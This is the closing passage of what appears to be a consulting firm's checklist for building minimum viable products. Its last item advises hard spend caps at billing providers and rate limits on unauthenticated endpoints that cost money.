5. Set a hard spend cap at every provider that can bill you, and rate limit anything
   unauthenticated that costs money.

---

*Written by MVP Strategic Consulting · buildingmvp.com*
*Version 2 · October 2026. Free to copy, adapt and share.*
